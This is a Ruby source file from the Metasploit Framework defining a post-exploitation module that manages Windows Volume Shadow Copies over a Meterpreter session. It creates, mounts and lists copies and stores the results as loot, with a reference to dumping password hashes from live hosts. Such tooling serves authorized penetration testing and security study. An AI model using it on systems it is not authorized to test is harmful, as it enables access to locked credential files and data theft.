142 lines
5.1 KiB
Ruby
142 lines
5.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Post
|
|
include Msf::Post::Windows::FileSystem
|
|
include Msf::Post::Windows::Priv
|
|
include Msf::Post::Windows::ShadowCopy
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Windows Manage Volume Shadow Copies',
|
|
'Description' => %q{
|
|
This module will perform management actions for Volume Shadow Copies on the system. This is based on the VSSOwn
|
|
Script originally posted by Tim Tomes and Mark Baggett.
|
|
|
|
Works on win2k3 and later.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['win'],
|
|
'SessionTypes' => ['meterpreter'],
|
|
'Author' => ['theLightCosine'],
|
|
'References' => [
|
|
[ 'URL', 'https://web.archive.org/web/20201111212952/https://securityweekly.com/2011/11/02/safely-dumping-hashes-from-liv/' ]
|
|
],
|
|
'Actions' => [
|
|
[ 'VSS_CREATE', { 'Description' => 'Create a new VSS copy' } ],
|
|
[ 'VSS_LIST_COPIES', { 'Description' => 'List VSS copies' } ],
|
|
[ 'VSS_MOUNT', { 'Description' => 'Mount a VSS copy' } ],
|
|
[ 'VSS_UNMOUNT', { 'Description' => 'Unmount a VSS copy' } ],
|
|
[ 'VSS_GET_INFO', { 'Description' => 'Get VSS information' } ],
|
|
[ 'VSS_SET_MAX_STORAGE_SIZE', { 'Description' => 'Set the VSS maximum storage size' } ]
|
|
],
|
|
'DefaultAction' => 'VSS_GET_INFO',
|
|
'Compat' => {
|
|
'Meterpreter' => {
|
|
'Commands' => %w[
|
|
stdapi_fs_delete_dir
|
|
]
|
|
}
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [],
|
|
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('SIZE', [ false, 'Size in bytes to set for max storage.' ], conditions: %w[ACTION == VSS_SET_MAX_STORAGE_SIZE]),
|
|
OptString.new('VOLUME', [ false, 'Volume to make a copy of.', 'C:\\' ], conditions: %w[ACTION == VSS_CREATE]),
|
|
OptString.new('DEVICE', [ false, 'DeviceObject of the shadow copy to mount.' ], conditions: %w[ACTION == VSS_MOUNT]),
|
|
OptString.new('PATH', [ false, 'Path to use for mounting the shadow copy.', 'ShadowCopy' ], conditions: ['ACTION', 'in', %w[VSS_MOUNT VSS_UNMOUNT] ])
|
|
]
|
|
)
|
|
end
|
|
|
|
def run
|
|
# all conditional options are required when active, make sure none of them are blank
|
|
options.each_pair do |name, option|
|
|
next if option.conditions.empty?
|
|
next unless Msf::OptCondition.show_option(self, option)
|
|
|
|
fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
|
|
end
|
|
|
|
fail_with(Failure::NoAccess, 'This module requires administrative privileges to run') unless is_admin?
|
|
fail_with(Failure::NoAccess, 'This module requires UAC to be bypassed first') if is_uac_enabled?
|
|
fail_with(Failure::Unknown, 'Failed to start the necessary VSS services') unless start_vss
|
|
|
|
send("action_#{action.name.downcase}")
|
|
end
|
|
|
|
def action_vss_create
|
|
if (id = create_shadowcopy(datastore['VOLUME']))
|
|
print_good "Shadow Copy #{id} created!"
|
|
end
|
|
end
|
|
|
|
def action_vss_get_info
|
|
return unless (storage_data = vss_get_storage)
|
|
|
|
tbl = Rex::Text::Table.new(
|
|
'Header' => 'Shadow Copy Storage Data',
|
|
'Indent' => 2,
|
|
'Columns' => ['Field', 'Value']
|
|
)
|
|
storage_data.each_pair { |k, v| tbl << [k, v] }
|
|
print_good(tbl.to_s)
|
|
store_loot('host.shadowstorage', 'text/plain', session, tbl.to_s, 'shadowstorage.txt', 'Shadow Copy Storage Info')
|
|
end
|
|
|
|
def action_vss_mount
|
|
print_status('Creating the symlink...')
|
|
device = datastore['DEVICE']
|
|
unless device =~ %r{^([/\\])\1\?\1GLOBALROOT\1Device\1([\w\- ]+)\1?$}
|
|
fail_with(Failure::BadConfig, 'The DEVICE parameter is incorrect, it should begin with \\\\?\\GLOBALROOT\\Device\\')
|
|
end
|
|
device << Regexp.last_match(1) unless device.end_with?(Regexp.last_match(1)) # the DEVICE parameter needs to end with / or the link will be created successfully but will not work
|
|
|
|
if create_symlink(datastore['PATH'], device, directory: true)
|
|
print_good('Mounted successfully')
|
|
end
|
|
end
|
|
|
|
def action_vss_unmount
|
|
print_status('Deleting the symlink...')
|
|
session.fs.dir.rmdir(datastore['PATH'])
|
|
end
|
|
|
|
def action_vss_list_copies
|
|
shadow_copies = vss_list
|
|
return if shadow_copies.empty?
|
|
|
|
list = ''
|
|
shadow_copies.each do |copy|
|
|
tbl = Rex::Text::Table.new(
|
|
'Header' => 'Shadow Copy Data',
|
|
'Indent' => 2,
|
|
'Columns' => ['Field', 'Value']
|
|
)
|
|
copy.each_pair { |k, v| tbl << [k, v] }
|
|
list << " #{tbl} \n\n"
|
|
print_good tbl.to_s
|
|
end
|
|
store_loot('host.shadowcopies', 'text/plain', session, list, 'shadowcopies.txt', 'Shadow Copy Info')
|
|
end
|
|
|
|
def action_vss_set_max_storage_size
|
|
if vss_set_storage(datastore['SIZE'])
|
|
print_good('Size updated successfully')
|
|
else
|
|
print_error('There was a problem updating the storage size')
|
|
end
|
|
end
|
|
end
|